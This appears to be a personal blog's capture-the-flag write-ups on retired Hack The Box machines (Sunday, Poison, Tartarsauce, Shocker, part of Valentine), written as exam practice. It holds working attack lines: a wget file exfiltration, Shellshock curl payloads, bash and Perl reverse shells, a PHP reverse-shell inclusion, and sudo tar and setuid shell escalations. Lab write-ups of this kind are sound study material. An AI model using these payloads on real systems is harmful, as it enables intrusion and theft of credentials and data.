(Also, watch me take the high group and not make a bunch of finger(ing) jokes!)

So we gave the box a good hard finger(ing).  (Dammit!)

With that idea, we can make a little bruteforcer using finger. To loop through all users in the wfuzz names.txt file

cat /usr/share/wordlists/wfuzz/others/names.txt | while read line; do finger -l $line@; done

This loops through and prints the output on screen!

We have some success through our fingering.

This is pretty boring, as it’s printing out each line and taking fucking ages! It’s a big wordlist!

Why don’t we throw it into a file and leave it going in the background!

I’m sure there is a better username enumerator out there, but I like making small loops with bash. It comes in useful really often!

I had a quick google and pentestmonkey has a username enumerator.

Downloading that and running it with the command:

perl finger-user-enum-1.0/finger-user-enum.pl -t -U /usr/share/wordlists/wfuzz/others/names.txt

After that runs for a while we get some results.

There is also a metasploit module which gives much cleaner output:

use auxiliary/scanner/finger/finger_users

I’ve set the wordlist to be rockyou-75 from SecLists as the username file wasn’t getting me very far.

A lot of prodding and different wordlists went into this.

A full nmap scan was also done, with no results.

However, after a while, we got some results.

So we now have some users, if we go back to our main finger command:

We get some results. These users have logged in previously and have main directories.

So now that we have users. What can we do?

I have literally no idea.

I realised earlier my full port nmap was done against the wrong IP, I did .78 rather than .76, so let’s re-run that as having rpcbind would indicate there might be something running on a high port.

Our nmap bought back a goodie, hidden high in the heights of port numbers!

Interesting, smserverd. A google search brings back very limited results again. Not sure this is our path!

(The all ports nmap scan is only 20% of the way through, so we might get some more ports! At least, I hope we get more ports, otherwise I am totally stuck!)

There is another port, 22022 is open!

Trying to connect we get an error for both Sunny and Sammy:

Unable to negotiate with port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

A quick google shows that this is an old key exchange algorithm so we need to force ssh to use one of those. We can do that with:

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@ -p 22022

We get prompted for a password. Shit, we haven’t found a password yet.

We try some basics, so sunny & sammy as these are the information we have found. No dice.

My colleague yells over the office “try Sunday”.

He is a smart guy!

We use find to locate the flag

find / -name user.txt

It’s there!

A quick cat and we get: permission denied!

It’s in sammy and we are sunny. Bollocks!

Can we sudo across to sammy?

Sudo -l


WTF is that!

So we can run that, let’s give it a go:

sudo /root/troll

We get a result:

uid=0(root) gid=0(root)

Ok, not sure what’s that doing, it looks like it’s running the command ID though.

Let’s create a executable called ID in it with the single command sh.

This if triggered will give us a shell, at root level.

Once that file is created, we need to edit the paths, so that the command will go to ours first (assuming the script using “id” not the full path “/usr/gnu/bin/id”)

To do that we use the command:

export PATH=/export/home/sunny:/usr/gnu/bin:/usr/bin:/usr/X11/bin:/usr/sbin:/sbin

Then let’s run the troll file again.


Doing the same idea with cat and echo, just in case the script is using those. Same result!

Really, we need to know what the script is doing.

I tried to get 32 and 64 versions of pspy over and neither would run, so that’s out! It looks like watching processes on a Solarius box is quite tricky!

So, let’s leave this troll and see what else there is.

We had a look around and my boss ended up cheating a bit and looking up some spoilers.

Under / there is a folder that isn’t normally there.

That’s right, at the top, backup.

In there is a shadow.backup file with sammy and sunny’s hashes in them!

sunny@sunday:/backup$ cat shadow.backup 

Let’s do some hashcatting. The hash starts with the $5$ which would indiciate the encryption method. I can’t seem to find much for $5$ especially for hashcat or decrypting this.

I am once again. Stuck!

A quick bit of reading let me know not to bother using hashcat but instead to use john. The syntax is far too simple, not sure how it works.

john hashes.hash --wordlist=/usr/share/wordlists/rockyou.txt

john is obviously the cracker johntheripper. I’m amazed I didn’t have to tell it anymore details or flags. It just did it!

That’s a useful super easy command to remember for if I come across shadow files again!

And with that: user!


Ok, now let’s see what we can do with sammy!

Again, we take a look at sudo and this time we get:

sunny@sunday:/backup$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget

So we can wget a file!

A google of wget priv esc shows a method that can be used. This allows files to be “posted” used wget.

The syntax for this is:

sudo /usr/bin/wget --post-file=/root/root.txt

This will post the contents of the file to our listener, so we set one up to save it into a file

nc -nvlp 9009 > root.txt

The request comes in and we cat the file.

Success, we have a root flag!

That was a very easy priv esc and another great trick to know how to do!

However the initial shell and finding a file in the main / directory were a huge pain!

So in summary

HTB – Posion

Let us continue on our merry HTB retired box journey! This time we are going to look at Poison!

As always, start with an initial nmap scan:

sudo nmap -Pn -oA nmap/initial -vv

We have 2 ports open:

  • 22 – SSH
  • 80 – HTTP

Let’s go have a look at the webserver and we will run a fuller scan while we do that

sudo nmap -p- -oA nmap/allports -vv

The webserver give us something very interesting! It’s a way to test local .php scripts!

The info, gives us the system info back:

FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64

Listfiles give us a list of files. One of theses isn’t like the other!

Heading over to pwdbackup.txt we get some base64!

It’s encoded at least 13 times. Is that going to be a rot13 then base64. Or base64 then rot13? Or base64 13 times?

Before we dive down there, can we do some directory traversal on the file input? Let’s try and read /etc/passwd

We can! We have some users, one of which is charix!

So we have a passwd back up file and a username. How are we going to put these together.

A quick play with cyberchef for a few options on the password we get:

That is 13 base64 decodes! It looks like a password.

The only other port we have open is SSH, so shall we try that?

Bingo! User flag!

A password containing the username and a keyboard walk, what madness is that! I guess it might help if you didn’t work out the file traversal?

Ok, let’s have a look around! In the home directory is a zip file called “secret.zip” This is owned by root but with charix as the group.

Let’s unzip that and see what we have!

Hmm it needs a passphrase !

Let’s re-try the ssh password.

unzip -p Charix!2#4%6&8(0 secret.zip

We get a “2: Event not found.”

Trying the password with ‘ and ” quotes gives the same response. However using a single word password we get

unzip: Failed to open 'password'


Let’s park that for the moment and get pspy across to see if there is anything else going on.

Hmmm, pspy doesn’t run with a:

ELF binary type "3" not known.
./pspy32s: Exec format error. Binary file not executable.

Maybe because this is freebsd rather than debian/ubuntu.

Let’s go back to this zip file. Copying it across to my local kali, we are going to try and bruteforce it!

To do this, let’s use nc. On my host box we set up a listener and to point anything that’s sent across into secret.zip

nc -nvlp 9002 > secret.zip

Then on the target we send the file across

nc 9002 < secret.zip

We now have the zip file on our local box and can try to crack the password using fcrackzip.

A look at the help shows we need

fcrackzip -u -v -D -p '/usr/share/wordlists/rockyou.txt' secret.zip

The flags mean:

  • -u use unzip
  • -D dictionary attack
  • -p use string as initial password
  • -v verbose

That appeared to fail.

I tried doing just an unzip on my kali box and I got prompted for the password. Entering the ssh password worked!

So I was on the right lines, it just couldn’t done in FreeBSD.

The zip file is unzipped. That’s great. Let’s read that bad boy!

Hmm, that’s a bit of a weird pattern!

A quick google and it looks like that encoding is very bizarre, so we might need to convert this UTF-8 to make it readable.

This is all looking a bit too complicated and potentially a red herring.

Let’s get LinEnum over and see what’s going on with the box!

Getting it over, it also doesn’t run.

Right, manual enumeration it is. What’s running as root?

ps aux | grep root

We get a fair few hits. A few look very interesting!

The xvnc viewer is what jumps out at me. I have no idea what it does so I’ve got the manpage.

Geometry is exactly that, the size of the desktop. The depth is the colour range. rfbwait is the maximum time to wait for a RFB client (vnc viewer)

I guess the question is can we view that screen, or take over that. I feel there is more of the command we are missing.

If we do a

ps -A

We get some more information

So the service is running on port 5901 and localhost.

Doing an nmap on that port from my kali box, shows it as closed.

However looking on the target we need to use a sockstat which lists all ports:

So there is port 5901 for xVNC being run by root.

If do some port forwarding, we might be able to get to that port.

So on our local box, if we do a local port forward of port 5901 to 5901 on the target box:

ssh -L 5901: charix@

We log in using the password.

Confirming the port forward by using netstat

netstat -antp | grep 5901

the flags used there are:

  • a  – show all
  • n – numeric ports
  • t – tcp
  • p – program (show the PID)

That shows there is a port forward. Is it to the right place? Hope so!

So we know it’s using vnc so if we try to connect to our localhost port 5901 with vnc do we get forwarded to the poison box?

We have vncconnect installed which would make sense. The usage is:

usage: vncconnect [-display Xvnc-display] host[:port]

So we need to look at the flags and work out what we need.

After a bit of googling it doesn’t look like we want vncconnect.

There is also vncviewer installed, that I missed first time. So let’s try logging onto that one!


This connects us to something and it asks for a password.

Same password 3 times? Let’s try.


What else have we seen? There was the secret zip. Maybe that weird output is the password.


Maybe the file name of secret? (i’ll try everything before having to try and work out how to decode that output!)

There is the abtility to give a password file. Maybe we can try that with the secret file?

vncviewer -passwd secret


So we needed to set up a port forward, then use the secret file to connect to that via VNC.

Another pretty complicated priv esc there that I would be very  surprised to see outside of a CTF!

Anyway, it’s now my favourite time!



HTB – Tartarsauce

Let’s get readyyyyy to hack a box! This time it’s going to be tartarsauce from the retired pool of HTB!

This is all still part of the OSCP prep and the last 2 days I’ve rooted 6 boxes and learnt loads from it! So hopefully, this can continue!

First up, nmap! A quick scan just to give us a bit of an overview so we can start looking at stuff while a more in depth nmap is running.

sudo nmap -Pn -oA nmap/initial -vv

We use the verbose flags so I can see all the requests nmap is making and get those answers slightly quicker! It might not make much of a difference on HTB but on a big infrastructure test or a wide range of IPs it can make a huge difference.

We have an open port:

  • 80 – HTTP

While we investigate that, we will get a full port scan running, just in case something is hiding up high!

The HTTP landing page is a nice ASCII art of a bottle of tartarsauce. Makes sense!

Let’s get gobuster on the case to see if there are any interesting directories!

No additional ports founds on the nmap. Let’s quickly do a UDP scan just for fun!

sudo nmap -sU -p- -oA nmap/UDP -vv

While that runs, we have a robots.txt file found by gobuster.

So this tells us there is a folder called /webservices/

If we visit that we get a Forbidden error.

Going to each of the URLs give us 404 not found errors, apart from 1.

We have monstra v3.0.4. I know nothing about this so a quick google brings up their website: https://monstra.org/

It is a content management system (CMS).

Doing some manual enumeration all the buttons at the top go to a 404. However, when clicking logged in, we get to the admin login page:


A quick searchsploit brings back results

The remote code execution looks interesting, however we need to be authenticated for that.

The XSS and CSRF aren’t that useful here, as we don’t have users on the box that we can exploit.

Looking at the install instructions there are a few default directories, going through those we get a forbidden for all of them, apart from sitemap.xml


Let’s go look at each of these and see what we get. The users one looks the most exciting, but i’ll start at the top!

Unfortunately all of those bring back a 404 not found error.

Back on the login page, there is a forgotten password option. Entering in a rubbish name and no captcha we get:

If we put in a more likely username such as admin

So we have username enumeration.

I’m going to guess we are going to use the username “admin”. I should do more username enumeration but I don’t know if it’s needed.

While I carry on looking at the github as the CMS is opensource, to find any weaknesses, I am going to throw the login page over to Intruder and see if we can brute force our way in!

Before doing that, to get a general error message I tried admin:admin.

Oh, that’s not an error message! We are in!

A quick look around, and there is 1 user called admin! I got very lucky on my guessing username enumeration. Sometimes the basics are the best!

Looking round there is a way to upload a plugin. We might come back to this later!

So we are now authenticated. We can use that exploit we found in our searchsploit earlier!

The exploit is basically the fact we can upload php pages via the Content – Files option.

We can use pentestmonkeys reverse shell php script.

Extract it using tar:

tar xvzf php-reverse-shell-1.0.tar.gz

Then we need to change the IP and Port for the connection back. Save the file and let’s see if we can upload it.

Start a netcat listener:

nc -nvlp 9002

We get a forbidden file type when trying to upload the reverse shell script. However, the exploit did mention we need PHP in capitals, so let’s try that!

Again not uploaded! The max file size is 2mb. Our file is 5.4K so well below that! Not sure.

Instead let’s go with the PoC in the exploit:

So we create a file with that php in it and name it “yekki.PHP”

Again, file not uploaded. No more details!

I have no idea why this isn’t uploaded. I’ve tried creating a new Directory, no dice.

I am really confused here. This should work!

The exploit is so straightforward that there isn’t anything I’ve done here to not make it work.

Let’s go back to our enumeration, have we missed anything?

Running another gobuster for directories rather than extensions within the /webservices/ directory we get a hit almost straight away:

There is a wordpress server on there! Let’s go take a look!

It’s urm, basic!

Let’s see if there is an admin page. wp-admin gives a big redirect to a page that isn’t found!

If we see that it looks like it’s trying to get us to wp-login.php rather than wp-admin

Let’s get WP-Scan to see what we have on this bad boy! I’ve not used it before, so a quick look at the help and we get:

wpscan --url -v

The scan has found a few directories:

  • xmlrpc.php
  • readme.html
  • wp-cron.php

We also know the version if 4.9.4 and there are 14 vulnerabilities available for this version.

The readme.html is the standard wordpress readme file, nothing exciting there.

xmlrpc.php brings back:

XML-RPC server accepts POST requests only.

And wp-cron.php doesn’t seem to do anything. Putting that through burp we see the request and an empty response.

So xmlrpc looks most interesting. A quick google finds an interesting article.

We start off making a POST request to get the methods.

We get loads of options. The one that sticks out for me, is “wp.getUsers”

Unfortunately when we send that we get “Insufficint arguments passed to this XM-RPC method”.

A quick google finds we need 4 parameters:

  • int blog_id
  • string username
  • string password
  • int user_id

Adding these in and we get “Incorrect username and password”. Now we don’t have a username or a password so far.

We can’t even get a username off any of the blogs, as they don’t exist!

The same trick of forgotten password doesn’t appear to work here!

The entire log-in page has an odd redirect to include the IP address again. This is really strange behavior and I don’t think we will ever be able to log in!

WPScan does have an enumerate user flag:

wpscan --url --enumerate u

But nope. No users found!

Looking at searchsploit there is just so much! With wordpress being the most popular CMS there are bound to be!

However, it does look like there might be a metasploit module for “WordPress 5.0.0 – Crop-image Shell Upload (Metasploit)”

Let’s see if we can do anything with that.

A quick look at the metasploit module and we need credentials for this which we don’t have!

I think it’s time to try brute forcing some creds.

Going back to the wp.getUser POST requests to XMLrpc, we can send that to repeater and try to fuzz the username and password fields!

So changing the intuder attack type to be Clusterbomb. From the Burp guide it tells us that:

The cluster bomb attack type enumerates over multiple parameters by using all the possible combinations of payloads from the multiple wordlists.

So if you have multiple parameters, it will enumerate over one of the parameters with all the payloads from its respective wordlist, while the other parameters have the first payload from their respective wordlists loaded.

So it will go through both wordlists. Let’s get that running!

For this we will use the wfuzz names.txt wordlist for the users and wfuzz common_pass.txt for the passwords.

We add in our match on “Incorrect username or password.”

And run…

This is going to take some time!

Slightly odd results coming up!

I get this for every 5th request. Some sort of fail2ban type thing maybe?

I don’t feel I’ve got the most out of WPScan quite yet. Let’s take a look at what flags we have.

The -e flag is for enumerate. We tried users, but we can do more than that

  • p – plugins
  • t – themes
  • cb – config backups

I would have thought it did these as the basic scan, but let’s do it anyway

wpscan --url -e p,t,cb -v

We got slightly more information than before. There are 3 potential themes:

These are all basic themes though. I’m pretty sure I use 2017!

Oddly it still said no plugins. But it only scanned for the most popular.

If we did a flag with ap it should do all plugins.

wpscan --url -e ap -v

No plugins Found. So there are just the 14 vulnerabilities, none of which seem useful!

** Lookup Alert**

At this point, I felt I’d enumerated all I could, WPScan was giving nothing. Although there is wp-contents so maybe some additional stuff, I couldn’t find it at all.

So I looked at a guide.

0xdf always does good write ups, so I went to theirs.

And I quote:

wpscan is a good tool to enumerate WordPress sites. I’ll use --enumerate p,t,u option to enumerate plugins, themes, and users.

The command used was:

wpscan -u --enumerate p,t,u | tee wpscan.log

I’d say, that looks pretty familiar!

Copy and pasting that exact command. We get:

So that’s annoying!

I guess maybe it’s an updated WPScan as I’m using v3.6.0 whereas 0xdf had v2.9.3

So there is an extra flag we can try which is an aggressive method for plugin scans:

wpscan --url --enumerate ap --plugins-detection aggressive

I think this instead of looking at just the most popular, it looks at all plugins ever. It is looking at 82,373 plugins and will take ~30 mins to run!

30 minutes later…

Heading over to the readme, we see the changelog and though it is out of date, it isn’t v 2.3.10. It’s actually v1.5.3, this is sneaky!

Looking at searchsploit we have an exploit for remote file inclusion!

Looking at the file, we need to create a php reverse shell script called wp-load.php and access it via:


So we will get pentestmonkeys php reverse shell script we got earlier and stick it on a webserver

python -m SimpleHTTPServer 9001

Start a nc listener and go to


It failed, we got a 404 on our webserver, as it appended the wp-load.php itself.

After we removed that, we got a hit!

And we got a shell, as www-data.

The user on the box is called onuma and we don’t have permission to their home directory yet. So we need to priv esc before getting the user flag!

A quick look of my new favourite go to sudo -l

We can do a tar!

A quick google of tar privilege escalation brings us to GTFOBins which is generally really ace.

We go for the first option including the sudo we need:

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

It works!

So that was a really difficult initial entry point! After that, easy googling the rest of the way!

Now, let’s go after a root flag!

First as always, let’s get LinEnum over and see what we have!

The box is Ubuntu 16.04.4 xenial.

The user onuma is part of the cdrom, drip & plugdev groups, so we will keep an eye on those.

We have a potentially interesting SUID file:

-rwSr--r-T 1 root root 150667 Mar 9 2018 /var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ȜӎŗgͷͼȜ_5h377

That SUID seems odd, however that exploit was already used. Do we think it could be the same? Maybe…

Before we jump into that, let’s get pspy64s over to see if there is anything funky running.

The version of the box is 32, so our 64 just errored out straight away. I downloaded the 32 bit version from github

Moving that across with python webserver and wget.

Then run in.

Nothing seems to be running on a regular script. Although there is a funky cleanup script:

So if we go and look at that script.

So we can read and execute that file, even though it’s owned by root.

Let’s give it a read and see what it does.

# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P

# Set Vars Here
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)

# formatting
for n in $(seq 72);
do /usr/bin/printf $"-";

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
/usr/bin/diff -r $basedir $check$basedir

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0

Basically, what it does is takes a back up of the basedirectory of /var/www/html.
It then tar’s it as the onuma user and puts it into /var/tmp.
Then it untars it as root.

I managed to snag a copy before it gets deleted 30 seconds later and put it into tmp.

With that I could untar the file and I had the contents of /var/www/html.

Ideally what I need is to make the script someone tar the /root/ directory, however we can’t change the script as we don’t have write permissions.

The only thing I can think of is a symbolic link.

Heading into /var/www/html we try to add a symbolic link for /root/

We get permission denied on those. Which is expected!

Now why are we getting permission denied, is it for the root file, or because we are in /var/www/html which is owned by www-data?

Well I’m not sure, so I drop back down to www-data and try again

We can create the symbolic link! That’s awesome! (At least I think that’s the right way round!)

So now, we need to wait for the script to run and nab that file from /var/tmp.

We got a copy!

So we untar is and bam. Our link is there!

It’s still doing a symbolic link, so we still need to be root to read the file! Even though the file is owned by us!

Re-looking over the script, it doesn’t at any point change the owner or chmod at all, so i don’t think a symbolic link will work.

Although without that, I have no idea!

Back to google it is and we find some interesting information by PacketStorm!

What they are saying is we can overwrite files that get untarred as root. So let’s go back to the script, does any untarring happen?

/bin/tar -zxvf $tmpfile -C $check

It does! So we just need to find a few things out!

What we need to do, is create a passwd file in the file that is tarred and untarred, which is /var/www/html and a symlink to /etc/passwd.

In our passwd file, we add in a new user with root priviledges.

So we add in our new user:

We save that as passwd and create a symlink to /etc/passwd.

This then errors as the file already exists.

Right. Let’s go through the steps once more!

We start off by making a symlink to /etc/passwd


Next we tar that symlink.

We now have a tar file

Next we untar it with -tf (t = list contents ;f = files)

So we then remove the symlink from the folder, so we just have it in the tar file.

Renaming passwd2 (our malicious one) to passwd. We then add that to the tar file

tar -rf yekki.tar passwd

(r = append)

We list the contents:

We now have 2 passwd files! Brilliant!

Now hopefully when the script runs, it will overwrite the /etc/passwd with our one from the tar file.

We have done the stuff in the /var/www/html directory so it should get done in the next run of the script!

It didn’t work.

That might be because it couldn’t access the file as I created it as www-data not as osuma. But I can’t write anything to /var/www/html as osuma as it’s owned by www-data. Bugger!

Let’s try again, but this time with the sudoers file. Let’s try and make the sudo file just open for anyone to do anything!

Running through all the steps again, it didn’t seem to take.

Am I overcomplicating this? Is there a way to just get the symlink to be the root flag, then steal the copy when it’s made?

Let’s try that!

ln -s /root/root.txt root.txt

So we have a symlink to the root.txt flag.

We tar it the same as before.

tar -cvf root.tar root.txt

Now in that tar, we just have that file.

So now in the 30 seconds when the script runs, we need to get a copy from /var/temp!

I have 2 netcats open, so I can have pspy32s running in one to see when the script runs. Jump to the other and copy the tar file!

We will see if this works. Who knows! (hint: I don’t think it will)

We got a copy!

When we extract it, we have the root.tar file!

If we extract that tar file!

And it’s still a symbolic link which we don’t have permission to view!

I’ve looked around at all tar exploits I can find. I’m missing something but just can’t get it!

Watching ippsec’s video, we learn!

I think the intregity check is screwing us over. The check it failing because the compare between /var/tmp/var/www/html and /var/www/html are different as we have added files in. Therefore it’s not getting to the extract stage of the script. So we aren’t getting anything new!

So at this point, I’m just following along with ippsec’s video.

First up he creates a “simple setuid” which we will compile:

#include <stdio.h>



int main ( int argc, char *argv[] )



execve("/bin/sh", NULL, NULL);


We then compile that with

gcc -m32 -o uid setuid.c

We now have a setuid executable exploity thing.

Get that over to the box with python simple web server and wget.

Then we need to change the permissions to be a SUID:

chmod 6555 uid

Running it does indeed give us a sh shell as the current user owner.

So where we need to be is within /var/tmp as this is where the checks will be.

We want to make the /var/www/html folder structure that the check will be agaisnt

mkdir -p var/www/html

(-p creates all folders as listed above. It’s a neat trick I didn’t know)

We move our uid file into var/www/html (so the full path is /var/tmp/var/www/html/uid)

We then tar.gz that up

tar -zcvf yekki.tar.gz var/

So what we need to do, is then when there is the 30 seconds waiting time and random named file in /var/tmp get’s created. We need to add our tar file into that. As it has done the check part at this point, so won’t error out.

It will then extract the file as root into a folder called check and our binary will be extracted by root.

The only thing is, last time, we made the var/www/html files by the user onuma. So the uid file was owned by onuma. When all that went through, we still could only get to that user.

So we need to do all those steps on our kali box as root. So it has root permissions. Then transfer is over, then slide the tar.gz (that we made in our kali) into the temp random named tar file.

Complicated? Overly I’d say!

So on our kali box, we do

mkdir -p var/www/html

chmod 6555 uid

mv uid var/www/html

tar -zcvf yekki.tar.gz var/

Then we have a tar file, owned by root, with the uid being owned by root but executable by everyone.

We move this across to the box, and wait for the next run!

As soon as we see the first part of the run going, we do

cp yekki.tar.gz <random file name>

I’m sure there is a script you could right to look for new files and copy it once that happens. I’m not that smart sadly!

So we saw there was a nice file created. We quickly copy our tar into it.

There is then a folder called check, as the comparison found no differences (before we copied the file in)

I now have 5 minutes to do my stuff, before the file gets removed as cleanup at the start of the script.

There is then a uid that is owned by root but executable by all!

Execute that and….

There is a root shell and a root flag!

So this box! Needed help along the way. WPScan rotating it’s popular scripts is interesting and a trick I didn’t know before but will totally use in the future!

As for that root flag, I would never have got that without a walkthrough. I fully understand it now and that was a great learning opportunity, but wow. I hope the OSCP priv esc is easier than that!

Anyway, we are missing 1 step!

Root dance!

HTB- Shocker

Here we are, another box from the OSCP prep list by TJNull. 

This box is Shocker and we are going to start by running a quick nmap.

sudo nmap -Pn -vv

We have 2 open ports:

  • 80 – HTTP
  • 2222 – Unknown

Let’s run a more involved nmap scan:

sudo nmap -sC -sV -O -oA nmap/fuller -p 80,2222 -vv

We get some results:

So port 2222 is ssh. It’s OpenSSH 7.2. We also get some information disclosure with the keys, so we are probably looking for a ssh key to be able to get into this server.

A quick searchsploit shows there is a Username Enumeration exploit we can try later on:

OpenSSH 7.2p2 - Username Enumeration | exploits/linux/remote/40136.py

Firstly, lets check the webserver.

It’s short, it’s sweet:

We will get a gobuster running here.

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

Not many results there.

While it’s running, let’s do a full port scan!

No new ports found. Let’s also do a UDP scan

sudo nmap -sU -p- -oA nmap/UDP -vv

Our gobuster has finished and we have nothing. We also don’t have much on these nmap scans.

I think there might be a clue in the picture. Maybe some stego. I see “Don’t bug me” as a command, so what we need to do is “bug” it.

First we need to install steghide if not already installed.

sudo apt-get install steghide

Then we want to extract the data

steghide extract -sf bug.jpg -p bug

Trying a few different passwords:

We get nowhere!

There is a steghide brute-forcer which we can try!

Annoyingly, we get python errors!

Traceback (most recent call last):
File "steg_brute.py", line 4, in <module>
from progressbar import ProgressBar, Percentage, Bar
ImportError: No module named progressbar


The progressbar module doesn’t exist!

Let’s install that using pip:

sudo pip install progressbar

That’s installed but still doesn’t work.

Right, let’s move on. Our gobuster finished and found nothing. Our UDP nmap has finished with no results.

Gobuster tends to not let me down, but there is so little to go on, let’s take a look at dirbuster.

We use the same wordlist and set it to search for extensions including, php, html, htm, bak, txt

I’ve also set a bonkers gobuster going to include loads of extensions and the wordlist.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x /usr/share/wordlists/dirb/extensions_common.txt -t 50

It’s ridiculous but I want to have something running while I look at the ssh potential exploit.

We copy across the python exploit

searchsploit -m 40136

After a few non-starters we get the help menu!

usage: 40136.py [-h] [-u USER | -U USERLIST] [-e] [-s] [--bytes BYTES] 
[--samples SAMPLES] [--factor FACTOR] [--trials TRIALS]

positional arguments: 
host Give SSH server address like ip:port or just by ip 

optional arguments: 
-h, --help show this help message and exit 
-u USER, --user USER Give a single user name -U USERLIST, --userlist USERLIST 
Give a file containing a list of users 
-e, --enumerated Only show enumerated users -s, --silent Like -e, but just the user names will be written to
stdout (no banner, no anything) 
--bytes BYTES Send so many BYTES to the SSH daemon as a password --samples SAMPLES Collect so many SAMPLES to calculate a timing baseline 
for authenticating non-existing users 
--factor FACTOR Used to compute the upper timing boundary for user 
--trials TRIALS try to authenticate user X for TRIALS times and 
compare the mean of auth timings against the timing 

So we need to give it the ip:port and a list of users

python 40136.py -U /usr/share/wordlists/dirb/others/names.txt

This is running through the list:

This is too many failed goes, we are gunna lose any greens. Instead we pipe it into a file where we can grep for [+] later on!

So we have our tools running, I guess it’s coffee time!

Due to piping the python script into a file, we can’t see what it’s going, so a good tool is:

tail -f userenumeration.txt

This tails the file in real time, so you see the live output but it’s still in a file for easy grepping later.

Right, dirbuster is the first to hit. It’s found:


Let’s go have a look! It downloads a shell script. Looking at the file we have:

Just an uptime test script. Seems dubious!

Let’s capture the request in burp and see if we can do anything. It’s just a GET request for the file, not sure what I can do here!

A quick google of “exploiting a sh file on a webserver” brings back a thing called “shellshocked”. This ties in with a) what we have and b) the machine name!

Let’s do some more reading on shellshocked and we should be able to effectively get a limited shell via this user.sh file!

So the PoC shows using curl to get files, let’s try it:

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "

Did it work?

Of course it did!

I am genuinely shocked, that’s absolutly bonkers to work. So it adds in some HTML to do the request.

Well let’s be honest, we know where the user flag will be!

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /home/shelly/user.txt "

Boom, user flag!

Now, our nmaps earlier showed information leakage regarding ssh keys, so I wonder if the keys are around anywhere. It would be good if we could do a ls.


curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/ls -al /home/shelly "

We can!

That’s cool, however there is no .ssh folder which I thought there might be due to the ssh keys we saw earlier.

So, let’s try and get a reverse shell. We can just use nc through our limited shell right?

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/nc 9001 "

Unfortuantely it dies straight away.

Pentestmonkeys reverse shell cheat sheet has a bash reverse shell we can try which should be more persistent.

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/bash -i >& /dev/tcp/ 0>&1 "

Boom! Amazing! We are in!

(also proof that I got the user flag!)

Let’s move LinEnum across to the box. Hosting it on a python webserver:

python -m SimpleHTTPServer 9002

Then downloading it on the box


Running that, we get all the results.

Looks like shelly is part of a lot of groups!

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

We also check sudo -l to see if we have any sudo priviledges and we do:

shelly@Shocker:/tmp$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl

So we can run perl as root!

Let’s create a perl reverse shell script! Luckily pentestmonkey has one!

In fact it’s just a command, so we can just use this off the bat.

sudo -u root /usr/bin/perl -e 'use Socket;$i="";$p=9009;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

We start our listener and boom, connection!

Are we, root?

We are indeed and there is the flag!

You might be thinking, you got that priv esc very easily and quickly, did you cheat?

I did not. I did however do the box Bashed yesterday which also uses sudo -l as a privesc, so I now check for it every time!

All good. Winner!

Root celebration time!

Also I realised my username enumeration script was still running. It hadn’t found shelly yet!

HTB – Valentine

Here we go, next on the OSCP prep HTB retired boxes train!

Remember our motto: “Knowing stuff is cool, but learning just takes longer!”

It makes no sense, I don’t care. Anyway, Valentine!

Nmap: I choose you!

As always, start with an initial quick scan:

sudo nmap -Pn -oA nmap/initial -vv

We get 3 ports back:

  • 22 – SSH
  • 80 – HTTP
  • 443 – HTTPS

Let’s get a more detailed scan running:

sudo nmap -sC -sV -O -oA nmap/full -p 22,80,443 -vv

While that’s running, let’s go check out the 2 web servers.

Ok Port 80 has a cool picture

An image on it’s own always make me think stego. So let’s keep that in the back of our minds as we carry on.

The website on port 443 is, the exact same!

So let’s run some gobustering on these!

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -k

The extra -k flag on the HTTPS is for skip certificate check.

Let’s leave those running as our nmap has finished it’s more detailed scan:

So there are a whole bunch of certs and RSA keys. This is a lot of information leakage that should really be sorted! They will all be public keys, so nothing of too much use other than the fact we are probably looking for a private key rather than a password to be able to ssh in.

